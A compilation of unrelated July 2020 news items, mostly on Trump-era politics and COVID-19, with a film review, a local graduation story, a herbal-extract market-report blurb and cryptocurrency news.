President Trump threatens to send federal officers to Detroit, other cities over protests – Detroit Free Press

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Tristan Taylor speaks to media members Saturday about the aftermath of the protest and arrest at the intersection of San Juan Drive and W. McNichols Road in Detroit the night before. Wochit

WASHINGTONPresident Donald Trump said Monday he is considering sending federal officers into several American cities, including Detroit, despite mostly peaceful protests there in recent weeks.

Gov. Gretchen Whitmer and state Attorney General Dana Nessel denounced the president's statements, with the Democratic governor saying, "Quite frankly, the president doesn't know the first thing about Detroit."

"If he did," she continued, "he would know that for nearly two months now, Detroiters have gathered to peacefully protest the systemic racism and discrimination that Black Americans face every day. There is no reason for the president to send federal troops into a city where people are demanding change peacefully and respectfully."

Trump made the comments earlier in the day to reporters at the White House, praising federal response to protesters in Portland even though there has been widespread criticism after reports of federal officers detaining people in unmarked cars without explanation.Portland's mayor has denounced the federal presence and Oregon's attorney general has filed a lawsuit claiming agents have acted illegally by taking people into custody without warrants.

More: Federal agents in unmarked cars, 'wall of moms': Here's what's happening in Portland

More: President Trump weighs expansion of federal officer deployments; Chicago may be next

Federal officials have defended their response and, on Monday, it was confirmed that the Trump administration was considering sending federal officers into other cities, possibly beginning with Chicago. "In Portand, they've done a fantastic job," Trump said Monday.

In his remarks, Trump said local law enforcement in New York and elsewhere have their hands tied, despite offering no evidence of why that would be the case.

"I'm going to do something, that I can tell you, because we're not going to let New York and Chicago and Philadelphia, Detroit and Baltimore ... Oakland is a mess ... We're not going to let thishappen in our country," he said. The president then added that the cities are "all run by liberal Democrats."

"These are anarchists,these are not protesters," he said of the people involved in the protests in the wake of the death of George Floyd in Minneapolis in May after a police officer kept a knee on his neck for several minutes. "These are people who hateour country and were not going to let it go forward."

While recent protests in Portland have seen police and demonstrators clash, that hasn't been the case recently in Detroit or many other cities.

Trump made no clarifying remarks about the situation in Detroit or elsewhere or offered any proof of why protesters should be considered anarchists. Earlier this year, however, he threatened to use military forces to put down protesters, saying the streets had to be dominated.

John Roach, a spokesman for Detroit Mayor Mike Duggan, said he wasn't sure why Trump would have included Detroit in his list.

"Detroit is one of the few large cities in the country that has experienced no fires, no stores looted and never requested the National Guard during the protests," he said. "Not sure where the president is getting his information."

Whitmer, meanwhile, said itwas "deeply disturbing that President Trump is once again choosing to spread hateful rhetoric and attempting to suppress the voices of those he doesn't agree with."

Nessel, also a Democrat, said Trump's remarks were politically motivated, coming even as Trump's reelection campaign released a TV ad falsely claiming the presumptive Democratic nominee Joe Biden wants to defund police departments when Biden has specifically that he does not support doing so.

"(This) has nothing to do with protecting public health or safety," Nessel said. "Such threats undermine peace and stability in our communities by unnecessarily escalating tensions and encroaching on states rights."

U.S. Rep. Rashida Tlaib, D-Detroit, who has marched with protesters, said she won't back down from Trump's threat, even if he does send in federal agents.

"They'll have to arrest me first if they think they're going to illegally lay their hands on my residents," she said.

Contact Todd Spangler: tspangler@freepress.com. Follow him on Twitter @tsspangler. Read more on Michigan politics and sign up for our elections newsletter.

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Trump’s endorsement of face masks caused a rally in recovery stocks, Jim Cramer says – CNBC

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President Donald Trump's belated endorsement of face masks sparked a rally in the recovery stocks, CNBC's Jim Cramer said Tuesday.

The president's newfound appreciation for mask-wearing takes away the leading voice for the anti-face covering crowd and should tamp down on the culture and political clash that brewed from the controversial topic, the "Mad Money" host said.

"If the president of the United States keeps encouraging people to wear masks, rather than discouraging them that makes it much easier to flatten the curve, because the no-mask contingent listens to him, fears him, cheers him," Cramer said. "With enough mask-wearing, we can beat this thing long before we get a vaccine, although it's still gonna take weeks before we see any progress."

With his mind focused on reopening the U.S. economy in the spring, Trump previously mocked Joe Biden, the Democratic presidential hopeful, for wearing of a face mask and suggested that it's not presidential to do so. That was despite the Centers for Disease Control and Prevention's advice in early April that people wear face coverings in public settings where social distancing is a challenge.

Fast forward to Monday, the president posted a black-and-white photo of himself wearing a mask calling it "Patriotic" to do so and saying that no one is "more Patriotic than me, your favorite President!"

The mask promotion, in addition to another potential round of stimulus spending to prop up the economy, sparked a rally in the recovery plays, including the lagging retail stocks, banking sector and even Disney and Starbucks, as masks can help contain the spread of the novel coronavirus, Cramer noted. That would help the country resume its reopening and not reverse back into an undesirable lockdown.

The Dow Jones added almost 160 points, or 0.60%, to reach 26,840.40 at the close. The S&P 500 inched up 0.17% to 3,257.30 and the tech-heavy Nasdaq Composite, which has been soaring in recent weeks, retreated 0.81% to 10,680.36.

The Cramer Covid-19 Index, by comparison, slipped 0.7% during the session.

"The Cramer Covid-19 Index is out, the recovery stocks are in," Cramer said.

Costco was met by boycott calls when it was among the first establishments to mandate that patrons wear face coverings back in May. Despite this, the grocery club posted that same-store sales increased in the month of June by 11% from $14.57 billion a year earlier. Walmart, Walgreens, Target, Kohl's, CVS Health and other shops later followed Costco's lead.

Salesforce CEO Marc Benioff last week said widespread, consistent mask use could stop the coronavirus spread in three weeks.

"If we can get mask compliance up to 80%, we can contain this thing like they did in Asia and Europe already," Cramer said. "Taiwan, Japan, China, Vietnam and South Korea have all returned to normalcy mostly because they wear their darned masks."

Of the nearly 14.8 million Covid-19 cases worldwide, the United States continues to lead the way substantially with more than 3.8 million people testing positive of the deadly disease. More than 141,400 people who contracted the virus have been reported dead, according to data compiled by the Johns Hopkins University.

"Basically, the critics assumed that taking the pandemic seriously would be bad for business, but in reality, taking it seriously is what lets you get back to normal," the host said. "Just look at the rest of the world."

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Trump's endorsement of face masks caused a rally in recovery stocks, Jim Cramer says - CNBC

Golden Statues Memorializing Donald Trumps Most Divisive Moments Have Popped Up Around Washington, DC, Courtesy of an Ad Guru – artnet News

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Big, shiny, gold statues of Donald Trump sound like they would be right up the presidents alleybut a new art project, titled the Trump Statue Initiative, uses the figures to instead memorialize his worst moments of 2020.

Street performers painted head-to-toe in metallic gold paint posed as still as stone atop massive plinths that hailed Trump as the destroyer of civil rights and liberties. The trio of statues appeared over the weekend in sites across Washington, DC.

Filmmaker Bryan Buckley decided to stage the project in part because of the way public statues havemade headlines all summer, with activists outraging Trump with their efforts to remove memorials to Confederate leaders and other problematic historical figures. In response, the president has not only beefed up the law against vandalizing statues, but also issued an executive order to create a National Garden of American Heroes.

I noticed that Trump was obsessed with statues, Buckley told AdAge.I felt like the best thing we could do was to create these very honest statues of the legacy hes living right now, that let the world see exactly who he is.

Bryan Buckley, The Bunker. Photo courtesy of the Trump Statue Initiative.

One work, titledNow Go Back to School, shows the president brandishing a golf club before a masked student, a critique of Trumps insistence on in-person education this fall, despite the worsening outbreak in many parts of the country.

InThe Bunker, Trump sits crosslegged on the floor, an homage to when the Secret Service whisked him away to a secure location inside the White House as Black Lives Matter demonstrations took place outside. (Trump later denied reports that he had been moved for his own protection.)

The third statue,The Poser, reenacts a scene from three days later, when riot police used force to clear protesters from outside the White House ahead of curfew, clearing a path from the presidential residence to St. Johns Episcopal Church. There, minutes later, Trump posed for a photo op holding a Bible.

One of the works was placed in front of the Trump Hotel, with the other two in Freedom Park, outside of the mayors office.During the installation, which lasted three or four hours in each location, violinist Celeste Vee was on hand to play songs by artists who have banned Trump from using them at his campaign rallies.

Bryan Buckley, Now Go Back to School. Photo courtesy of the Trump Statue Initiative.

Buckley is best known for creating television commercialstheNew York Timesonce called them tiny compressed filmsand he has been called the King of the Super Bowl for consistently making some of the most popular 30-second spots aired during footballs championship game.

For the Trump Statue Initiative, Buckleys goal is to encourage citizens to vote for Joe Biden this November. He is working with Bradley Tusk of the campaign strategy firm Tusk Strategies on a series of events that will take place across the country between now and election day.

Were hoping with this initiative we will inspire other street performers, other artists to follow suit, whether across the country in swing states or conventions, that we really start to show these moments in statue form that show what well be living with [if Trump wins reelection], Buckley told theHill.The history hes painting of himself right now, where his narcissistic or racist or self-serving moments abound, this is what hes leaving us with.

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Golden Statues Memorializing Donald Trumps Most Divisive Moments Have Popped Up Around Washington, DC, Courtesy of an Ad Guru - artnet News

Trump fails to call Ireland’s premier who said Europe must ‘stand up’ to him – Business Insider – Business Insider

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President Trump has failed to call Ireland's new premier in a break with convention which comes after the incoming Taoiseach said European leaders need to learn to "stand up" to Donald Trump.

The US President typically communicates with a new Irish Taoiseach shortly after their appointment, but Michel Martin who was appointed Taoiseach three weeks ago told the Irish parliament on Thursday that he had "not spoken with the President of the United States of America since my appointment as Taoiseach," according to The Journal.

The White House has not offered any explanation for the president's lack of communication with Dublin, which represents a break from recent tradition between two historically close allies.

President Trump called Leo Varadkar, the last Taoiseach, within two weeks of his appointment. Enda Kenny, the Taoiseach before Varadkar, met President Obama on St Patrick's Day less two weeks after he took office.

Last July Martin publicly criticised President Trump for telling four US congresswomen to "go back" to their countries of origin, despite the fact all but one of them were born in the US.

The Fianna Fil leader called Trump's comments "outrageous" and "ridiculous" and "totally at variance with the spirit at the core of the American nation."

He added: "There comes a stage when European politicians need to stand up, as well, for core values and not be afraid to say we fundamentally disagree with President Trump's approach to progressive politicians who are making a difference in the United States, who have legitimate points to articulate," said Martin.

It is not clear whether Trump has been made aware of Martin's comments but the president has previously been particularly sensitive to criticism from other leaders.

A furious Trump cut short his attendance of a NATO summit in London last year after a group of leaders including UK Prime Minister Boris Johnson, Canadian Prime Minister Justin Trudeau, and French President Emmanuel Macron, appeared to mock the president.

Martin has spoken to several other leaders since his appointment. He held a phone call with Boris Johnson on June 30, according to Downing Street, and has also spoken to German Chancellor Angela Merkel as well as Charles Michel, president of the European Council.

In 2018, Martin then the leader of the opposition said he would welcome the visit of Donald Trump despite the fact the pair had "different views."

"I have no difficulty in meeting Donald Trump," he said, according to The Journal.

"First of all, he's the democratically-elected President of the United States, and the Taoiseach Leo Varadkar invited him last March, reciprocating the invitation that we receive every year to the White House."

"Of course we welcome the visit of any US President."

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Trump fails to call Ireland's premier who said Europe must 'stand up' to him - Business Insider - Business Insider

Trump and US congress in stand-off over aid as COVID-19 crisis worsens – Euronews

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Fresh conflict between Donald Trump, Republican leadership in Congress and Democrats threatened to derail a new federal aid package to ease the worsening coronavirus crisis in the US as the president acknowledged on Monday a "big flareup" of COVID-19 cases.

Trump convened GOP leaders at the White House as Senate Majority Leader Mitch McConnell prepared to roll out his $1 trillion (874 billion) package in days. But the administration criticised the legislation's money for more virus testing and insisted on a full payroll tax repeal that could complicate quick passage.

Weve made a lot of progress, Trump said as the meeting got underway.

But the president added, "Unfortunately, this is something thats very tough."

Lawmakers returned to a Capitol still off-limits to tourists, another sign of the US' difficulty containing the coronavirus. Rather than easing, the pandemics devastating cycle is churning again, leaving Congress little choice but to engineer another costly rescue. Businesses are shutting down again, many schools will not fully reopen and jobs are disappearing, all while federal aid will expire in days.

Without a successful federal strategy, lawmakers are trying to draft one.

We have to end this virus, House Speaker Nancy Pelosi said on Monday on broadcaster MSNBC.

She said any attempt by the White House to block money for testing goes beyond ignorance.

The political stakes are high for both parties before the November election, and even more so for the counrty, which now has registered more coronavirus infections and a higher death count 140,800 than any other in the world.

Treasury Secretary Steven Mnuchin vowed passage by month's end, as a $600 (524) boost in jobless aid is set to expire, and said he expected a fresh $1 trillion (874 billion) jolt of business tax breaks and other aid would have a big impact on the struggling economy.

On Capitol Hill, McConnell faces not just pressure from the White House but also splits within his ranks, which have chiseled away at his majority power and left him relying on Democrats for votes.

Mnuchin and Meadows are due to meet privately on Tuesday with Pelosi and Senate Democratic leader Chuck Schumer.

The package from McConnell, being crafted behind closed doors, is expected to include $75 billion (66 billion) to help schools reopen. It will likely replace an expiring $600 (524) weekly unemployment benefits boost with a smaller amount. The cut in unemployment assistance is designed to ensure that jobless people do not receive a greater benefit than if they were working. Regular state benefits vary widely and the measure would peg the federal bonus payment to a percentage of the state benefit.

McConnell's package may also send a fresh round of direct $1,200 (1,048) cash payments to Americans below a certain income level, likely $75,000 (66,000), and create a sweeping five-year liability shield against coronavirus lawsuits.

But the administration was panning the proposal's $25 billion (22 billion) in new funds for virus testing and tracing and insisting on the payroll tax cut, Republicans said.

At Mondays White House meeting, Trump said he wants a full payroll tax repeal, said one Republican who spoke to the Associated Press on the condition of anonymity to discuss the private meeting. Trump then put economist Art Laffer on speakerphone. Laffer is part of a conservative group favouring the tax break. The GOP leaders indicated only a partial repeal would be included in the coming bill.

Easing the payroll tax is dividing Trumps party because it is used to finance Social Security and Medicare. The tax is already being deferred for employers under the previous virus relief package. Supporters say cutting it now for employees would put money in people's pockets and stimulate the economy, but detractors warn it would do little for out-of-work Americans and add to the nations rising debt load. McConnell is straining to keep the bills total price tag at $1 trillion (874 billion).

GOP senators swiftly pushed back as the Republicans and the White House battled over priorities.

GOP Senator John Cornyn of Texas was among several Republicans saying he's not a fan of a payroll tax holiday.

Sen. Lamar Alexander of Tennessee, the chairman of the Health committee, said, All roads to opening school, going back to work, opening child care lead through testing.

Economist Stephen Moore, who is part of the conservative group promoting the payroll tax cut, is also backing a health care provision to prevent surprise medical billing. Moore was not part of the meeting but said both were discussed at the White House.

Trump insisted again on Sunday that the virus would disappear, but the president's view did not at all match projections from the leading health professionals straining to halt the alarming US caseload and death toll.

On a conference call with the nation's governors on Monday, Pence called the rising numbers in Sunbelt states serious.

Schumer warned on Monday that Democrats will block any effort from McConnell that falls short, reviving a strategy from the last virus aid bill that forced Republicans to the negotiating table. This time, the House has approved Pelosi's sweeping $3 trillion (2.6 trillion) effort, giving Democrats momentum heading into negotiations.

Joe Biden, the Democrats' presumed presidential nominee, stated his own priorities. The new package should "deliver a lifeline to those who need it most: working families and small businesses, he said.

Trump raised alarms on Capitol Hill when he suggested last month at a rally in Oklahoma that he wanted to slow virus testing. Testing is seen as the best way to track the virus to contain its spread. Another Republican familiar with the process said about half of the $25 billion (22 billion) previously approved remains unspent. Senate Democrats are investigating why the administration has left so much on the table.

The proposed virus aid package would be the fifth, following the $2.2 trillion (1.9 trillion) bill passed in March, the largest US intervention of its kind. While many Republicans hoped the virus would ease and economy rebound, it's become clear more aid is needed.

Despite flickers of an economic upswing as states eased stay-at-home orders in May and June, the jobless rate remained at double digits, higher than it ever was in the last decades Great Recession, and a federal eviction moratorium on millions of rental units approved in the last bill is about to expire.

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Editorial: The Portland problem: Donald Trump’s terrifying reelection gambit – Yahoo! Voices

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Donald Trump, a congenital liar who hides his tax returns, is in one small sense the most transparent president ever: Ignoring a pandemic that has killed nearly 150,000 and trailing Joe Biden in all polls, he is brazenly attempting to terrify the electorate over a largely non-existent threat, conjuring an image of urban America brought to its knees by a tsunami of chaos and violent crime only he can stem.

Thus, his Department of Homeland Security has dispatched federal troops (a mishmash of U.S. Marshals, Customs and Border Protection and other agencies) to Portland, Ore., without clear identification. They have shot protesters, arrested alleged rioters and spirited them away in unmarked vans.

Portland, last we checked, was still America.

Yes, the city has been protest central for months. In recent weeks, a federal courthouse was vandalized and a federal employee assaulted ugly, unacceptable acts. Yet there is no indication that local police were unable to handle the situation.

Indeed, Portland crime has been on the decline.

Never mind that, Trump Monday threatened to send troops to other Democratic-run cities, pointing to murders in Chicago, a favorite rhetorical punching bag.

Two lessons here: First, rising crime in some big cities, not a figment of Republicans imagination, is a potent political weapon for the demagogue as he tries to frighten the nation into re-electing him, a la Richard Nixon in 1968.

Second, there are no lengths to which Trump will not stoop. Voters must see through his gambit and Congress must call him to account.

2020 New York Daily News

Visit New York Daily News at http://www.nydailynews.com

Distributed by Tribune Content Agency, LLC.

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Editorial: The Portland problem: Donald Trump's terrifying reelection gambit - Yahoo! Voices

I Scored Worse Than Donald Trump Did on That Brain Test – The New Republic

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At the time, I was constantly worried that my internet habits had impaired my ability to think and remember things: Spending hours on Twitter, training my brain to absorb and quickly purge thousands of tiny pieces of information, is probably not that healthy. I held out hope, however, that the answer would involve my medication, and that a doctor might recognize my symptoms and suggest some obvious alternative cocktail of SSRIs that would fix the problem.

Specifically, I was worried that Wellbutrin was doing something to my brain: Since I had started taking it in 2018, I noticed myself mixing up words. If I was talking about two conceptssay pizza and footballtheyd be swapped by the time the sentence came out of my mouth; suddenly we were ordering a football for the pizza game. In December 2019, I did something deeply inadvisable that a lot of people inevitably do when they cant get mental health care: I tried managing my own medication, and tapered myself off Wellbutrin slowly. This failed to fix my problem with speaking words aloud and dropped me into a deep depression to boot. I spent much of January in throes of a migraine. It was a relief to finally get in to see a doctor.

Most of my first appointment was pretty standard. I answered questions about my life, my childhood, and my migraines. It was more than two hours long. And because I mentioned this fear about my cognitive abilities, the doctor gave me the MOCA test. When she suggested it, I said, excitedly: The one they gave Trump! They should have committed me on the spot.

The test is, as Wallace said, not hard. You draw a clock face. Youre shown a picture of a lion and you say, Thats a lion. While Trump insisted that his doctors told him that rarely does anybody do what you just did, that makes little sense: The point of the test is not that those who get a perfect score have a perfect brain. A perfect score merely indicates that your brain is functioning within normal parameters. Rather than detecting some superior intellectual agility that might enable a person to paint like Picasso or discover the secret of cold fusion, the MOCA test attests to the possibility that you might be able to open a can of beans without hurting yourself. It confirms mild cognitive impairment, not very stable genius. A passing score is 26 out of 30.

I had a couple of stumbles. On one part of the test, the doctor reads a list of five words, whereupon the patient is asked to repeat them immediately and then repeat them a second time after a few minutes have passed. During my second recital, I forgot one of the words. I also got tripped up on another section where the test-taker is asked to list as many words as they can that begin with the letter F in a minutes time. After saying a few, I found myself taking an increasingly painful amount of time to think of new words to list. I was also thrown by the fact that France didnt count. I didnt realize the MOCA test follows Scrabble rules.

Looking back, I feel like I was struggling with a form of stage fright. I can still recall feeling anxious about the test, and I remember how I questioned everything I did while I was doing it, right down to whether the minute-hand on the clock is the big one or the little one. (Its the big one.) Perhaps I was correct that my brain wasnt working too well at the time; it could also be the case that this extra caution was my brain properly routing its way around the anxiety I was feeling.

As I said and would hasten to emphasize before The New Republic reconsiders my employment, I did pass the test. My psychiatrists conclusion was that my body was under a lot of stress from persistent migraines and that I was severely under-medicated after ditching the Wellbutrin. As Id hoped, she came up with the right pharmacological cocktail and while I cant say I feel that my Internet Brain symptoms have totally subsided, I feel much more chill about them, and I do feel as if I might be able to get a perfect score if I had another go. All thanks to the magic of SSRIs, and possibly also deleting Twitter from my phone.

And yet here I am, left with the fact that I did not get a perfect score on a test that Donald Trump claims to have aced. This is a man who recently seemed to suggest that President Barack Obama deserved a share of blame for the coronavirus outbreak, despite the fact that it didnt exist until hed long left the White House. Prior to that, Trump suggested that we should inject coronavirus patients with bleach and that the key to lowering the rate of infection was to stop testing to see if people were infected.

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The Old Guard Turns Immortality Into Something Worth Living For – Gizmodo UK

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Director Gina Prince-Bythewoods adaptation of Image Comics The Old Guard, by Greg Rucka and Leandro Fernndez, is a movie that asks you to really reflect on what it is about superheroes and their stories that keeps us coming back. Rather than fully trying to reinvent the comic book movie, The Old Guard instead takes hallmarks of the genre and uses them to explore the ruminative, emotional elements of the hard-boiled heroic archetype.

The movies narrative beatsmay ring familiar to you. After spending multiple lifetimes ridding the world of evil, a group of immortal warriors finds themselves confronted with the greatest threat to their existence: being exposed. As the oldest member of the titular Old Guard, Andromache Andy of Scythia (Charlize Theron) acts as the groups leader. Their mission, as it were, is to fight evil currently by taking out human traffickers and drug runners who have no qualms about hurting innocent people. But after more than 1,000 years of fighting the good fight, Andys grown weary of the world and its bottomless well of human suffering. Just as she hits something of an emotional low when it becomes clear that someone has designs on capturing her and her fellow immortals, the group as a whole is shocked when they realise that a new person of their kind has just been awoken, something that portends a major shift in their destinies.

In stark contrast to Andy and the other immortals whove long since lost most of their emotional connections to anyone outside their group, Nile Freeman (Kiki Layne), a young Marine deployed in Afghanistan, loves everything about her relatively mundane life... right up until she dies in the line of duty, before inexplicably coming back to life in the infirmary shortly after. For different reasons, Andy and Nile are both alarmed to learn that theyre about to become important parts of one anothers lives, and that bond is something that The Old Guard consistently centres as it pulls you into its action-thriller plot that feels surprisingly fresh compared to other comic book movies.

Once shes collected her, Andy introduces Nile to her new family Yusuf Joe Al-Kaysanioe (Aladdins Marwan Kenzari), Nicolo Nicky di Genova (Luca Marinelli), and Sebastian Booker le Livre (Matthias Schoenaerts). The film thenquickly telegraphs the broad strokes of its story, which follows the squad as they try to take down Steven Merrick (Harry Potters Harry Melling), the villainous pharma bro whos hunting them with plans of turning them into lab rats, and former CIA agent James Copley (Chiwetel Ejiofor) whos also keen on studying their genetic makeup but perhaps for slightly different reasons.

Though Nile cant deny that the healing factor she shares with the Old Guard makes her more than a baseline human, she struggles with the idea of leaving her life behind simply because the other immortals have. The psychic connection they share with one another makes it impossible for them to believe that they arent meant to be together, but beyond that, The Old Guard is careful to steer clear of spelling out what, if any, higher power gave them their abilities and wove their fates together.

Charlize Theron (Andy), Luca Marinelli (Nicky), Matthias Schoenaerts (Booker), Marwan Kenzari (Joe). (Photo: Aimee Spinks/Netflix)

In subtle ways, The Old Guard depicts how, absent of any sort of divine directive, all of the immortals have come to believe chiefly in their collective sense of justice and the different things that make each of them feel truly alive. Theron brings a world-weariness to her performance that makes you understand why Andys turned to drink and how her crusade wore her down over the millennia (they never do get around to saying how old she really is). As was the case in the comics, Nicky and Joe who were once enemiesfind sanctuary in one another as the groups resident pair of lovers whose relationship is put front and centre as a testament to how the immortals feelings have shifted over time. The film spends a noticeable amount of time highlighting these aspects of its characters because the nuances to their humanity are ultimately whatit wants you to recognise as what makes them heroic.

Prince-Bythewoods approach to action emphasises that while the Old Guards immortality gives them a decided combat advantage against their opponents, what really makes them lethal are their collective experiences and understanding of how to work as a cohesive unit. The Old Guards fight scenes are often brutal as people get shot in the head at point-blank range and axes are lodged into guts, but every battle is defined by a distinct sort of elegance that speaks to the teams prowess on the battlefield.

Just as it allbegins to build towards a somewhat predictable dramatic climax, the movie takes a moment to make you think about what it is that a superhero does when they get involved in a situation. While a heros intention might be to protect the lives of innocent people from those who could hurt them, its almost inevitable that others are going to be hurt or murdered in the process, something that superhero films tend to gloss over in service of larger-than-life action sequences. The Old Guarddoesnt shy away from the grim realities of Andy and the teams important, difficult work, and figuring out how she feels about the situation is part of Niles journey that the film invites the viewer to follow along with.

Aside from a few pacing issues in its third act, The Old Guard flows with a briskness that suits the storys overall straightforwardness which at times makes the movies twists feel somewhat predictable. But between a solid first outing and more than enough foreshadowing for future instalments set in this world, The Old Guard easilyholds its own in the increasingly crowded market of cape films that are trying to find something novel to say within the confines of the genre.

The Old Guard is now streaming on Netflix.

Featured image: Netflix

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The Old Guard Turns Immortality Into Something Worth Living For - Gizmodo UK

ATEMS graduation allows Class of 2020 to rise from the ashes of a broken year – Abilene Reporter-News

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Jeff Howle was able to deliver one of the most appropriate lines in high school graduation history Saturday morning.

As principal of the Academy of Technology, Engineering, Math and Science, which has the mascot of the Phoenix, Howle stood in front of his students, the Class of 2020and told them to rise.

ATEMS graduates move their tassels during commencement Saturday morning. The ceremony for the Academy of Technology, Engineering, Math and Science, whose graduation was delayed for over a month due to the pandemic, held their ceremony at Shotwell Stadium.(Photo: Ronald W. Erdrich/Reporter-News)

Not from their seats, but from the ashes of their destroyed senior year, cut short by the COVID-19 pandemic.

Not from their seats, but from their youth and naivete.

This group truly embodied the spirit of their namesake, the mythological bird that achieves immortality through its death and resurrection.

"My message to you all as we have gone through this worldwide pandemic together would be this:often the living of life is our greatest accomplishment," Howle said. "Never again should we take for granted sitting down at a restaurant, going to a friends house, seeing your grandparents, going to watch a game, going to the movies (or) going shopping at a store."

Robert Tinney walks back to the seats after graduating from ATEMS at Shotwell Stadium on Saturday.(Photo: Ronald W. Erdrich/Reporter-News)

Howle completed just his second year leading the faculty at ATEMS. But it was enough time for him to understand the group of students who stood in front of him as individuals but also as one.

He recognized the personalities they are, from athleticism to seriousness, competitiveness to politeness and from the Rubick's cube to the Lewis hair.

And their quirks. Such asDaniel Smith, who attended Saturday morning's graduation ceremony in uniform. Just not the uniform that one might expect.

As a re-enactor in several groups in town, including Abilene Axis & Allies, Smith wore a Soviet Union major's military uniform under his cap and gown.

It's nothing new. He's been participating in events since before high school and his classmates have just come to expect it from him.

"It's been my passion and my hobby for a long time," Smith said. "I like it, I feel comfortable in it and everyone knows me for the uniform. I've been wearing it since about eighth grade."

With a graduation toy stuffed in his jacket, Daniel Smith salutes in his Soviet major's uniform which he wore beneath his cap and gown at the ATEMS commencement.(Photo: Ronald W. Erdrich/Reporter-News)

It's not the only uniform he'll wear in his life, though.

While he reenacts as a Soviet, he's about to be a real-life U.S. Marine.Smith ships out for basic training later this year, he said.

There was a sense of accomplishment, Smith said. But, like the Phoenix, it's not where you've been but where you're going that is important.

"It's the start of new beginnings," Smith said.

Photojournalist Ronald W. Erdrich contributed to this report

In the age of COVID-19, the Abilene Reporter-News will continue providing public health content free to all. But while that information is vital, that's only one portion of the overall picture. Please consider, if you're able, purchasing adigital subscription to ReporterNews.comto help support the hard work provided by Timothy Chipp and the rest of the staff needed to tell Abilene's entire story, like this one. Without you and your support, this operation is impossible.

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ATEMS graduation allows Class of 2020 to rise from the ashes of a broken year - Abilene Reporter-News

Gynostemma Extract Market Global Insights, Production and Demand 2020 to 2026 – Cole of Duty

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The global Gynostemma Extract market report is a comprehensive research that focuses on the overall consumption structure, Demand, Revenue and Forecast till 2026. The report focuses on key companies in the global Gynostemma Extract industry, market segments, competition, and the growth drivers, constraints and SWOT analysis. This report focuses on Gynostemma Extract volume and value at the global level, regional level and company level.

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Gynostemma extract is famous for its herbal medicine properties which has influential adaptogenic and antioxidant effects which increases longevity. Gynostemma extract has various therapeutic qualities such as lowering high blood pressure and cholesterol along with strengthening the immunity of the individual. The species gynostemma such as G. pentaphyllum is widely distributed outside of China, which ranges from Southeast Asia to India to Korea and Japan. Gynostemma extract is mostly used as an herbal medicine. Gynostemma extract is also mostly consumed as herbal tea and is also available as an alcohol extract. Gynostemma plant is also known as immortality herb by local inhabitants in China and nearby countries. Gynostemma extract contains endogenous cellular which is a powerful antioxidant enzyme known as superoxide dismutase. Gynostemma extract also increases the activities of T lymphocytes, macrophages, and natural killer cells which acts as a tumor inhibitor.

The Report includestop leading companies Nutra Green Biotechnology, Shannxi Undersun Biomedtech, Novoherb Technologies, Mountain Rose Herbs, Xian Tianxingjan Bio-products, Huaian Chenhui Chemical, Xian Natural Field Bio

Global Gynostemma Extract Market, By Type

Powder

Liquid

Capsule

Pill

Global Gynostemma Extract Market, By Application

Pharmaceuticals

Cosmetics

Food And Beverages

Others

Global Gynostemma Extract Market Segmentation by Region:

North America, United States, Canada, Mexico, Asia-Pacific, China, India, Japan, South Korea, Australia, Indonesia, Malaysia, Philippines, Thailand, Vietnam, Europe, Germany, France, UK, Italy, Russia, Rest of Europe, Central & South America

Table of Contents:

Report Overview:It includes Gynostemma Extract market study scope, players covered, key market segments, market analysis by application, market analysis by type, and other chapters that give an overview of the research study.

Executive Summary:This section of the report gives information about Gynostemma Extract market trends and shares market size analysis by region and analysis of global market size. Under market size analysis by region, analysis of market share and growth rate by region is provided.

Profiles of International Players:Here, key players of the Gynostemma Extract market are studied on the basis of gross margin, price, revenue, corporate sales, and production. This section gives a business overview of the players and shares their important company details.

Regional Study:All of the regions and countries analyzed in the Gynostemma Extract market report is studied on the basis of the market size by application, the market size by product, key players, and market forecast.

Key Players:This part of the Gynostemma Extract market report discusses expansion plans of companies, key mergers and acquisitions, funding and investment analysis, company establishment dates, revenues of manufacturers, and their areas served and manufacturing bases.

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The report could be customized according to the clients specific research requirements. No additional cost will be required to pay for limited additional research.

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All the reports that we list have been tracking the impact of COVID-19 the market. Both upstream and downstream of the entire supply chain has been accounted for while doing this. Also, where possible, we will provide an additional COVID-19 update supplement/report to the report in Q3, please check for with the sales team

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Gynostemma Extract Market Global Insights, Production and Demand 2020 to 2026 - Cole of Duty

Mastercard Expands Cryptocurrency Program for Crypto Card Issuers – Cointelegraph

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Mastercard is reaching out to cryptocurrency firms and encouraging them to apply to become partners as part of its newly-expanded cryptocurrency card program.

On July 20, Mastercard said it was simplifying access to its Accelerate program for crypto card issuers, allowing applicants to be onboarded as partners in a matter of weeks.

Now enhanced for crypto card applicants, the Accelerate program gives partners support with their market entry, continued growth and international expansion.

New crypto partners will be assisted in integrating Mastercards technology and will be in a position to benefit from the firms cybersecurity expertise and market research.

While it is streamlining access to its program for crypto firms, Mastercard has emphasized that all partners must comply with its core principles.

These include providing robust consumer protection (ensuring privacy and security for users), operating in compliance with relevant laws and regulations, such as Anti-Money Laundering rules, and establishing a level playing field for all stakeholders, such as financial institutions, merchants and mobile network operators.

Raj Dhamodharan, executive vice president of digital asset and blockchain products and partnerships at Mastercard, said:

The cryptocurrency market continues to mature, and Mastercard is driving it forward, creating safe and secure experiences for consumers and businesses in todays digital economy.

Parallel to reaching out to crypto card partners, Mastercard has also announced that London-based crypto payment processor Wirex has become the first native cryptocurrency platform to be granted a Mastercard principal membership, which will allow it to directly issue crypto payment cards.

Thanks to the membership, Wirex card users will be able to immediately convert their crypto holdings into fiat currency, which can be spent at points of sale that accept Mastercard. Currency will thus enter Mastercards network in the form of fiat, not cryptocurrency.

Wirex CEO and co-founder Pavel Matveev has said that the membership represents a growing interest and recognition in the acceptance of cryptocurrency by leading bodies and regulators. He added that partnering with Mastercard will help the firm to realize its vision of empowering everyone to experience a world where all currencies, traditional and crypto, are equal.

Wirex is regulated by the U.K.s Financial Conduct Authority and has a license to issue crypto cards in Europe. Earlier this year, it hit over 3 million active users, noting that increasing numbers of them are not typically hardcore cryptocurrency users.

Prior to partnering with Wirex, Mastercard collaborated with blockchain payments provider BitPay this June to launch a prepaid card for crypto users in the United States.

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Mastercard Expands Cryptocurrency Program for Crypto Card Issuers - Cointelegraph

Cryptocurrency This Week: Twitter Bitcoin Scam Explained & More – Inc42 Media

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Bill Gates, Elon Musk and Jeff Bezos among 130 other high-profile Twitter accounts hacked over Bitcoin scam

More than 373 users fell for the scam, losing a total of INR 89 Lakh before the Tweets were removed, says cofounder of Giottus Cryptocurrency

Cryptocurrency can never be a common mans currency, says Subhash Chandra Garg

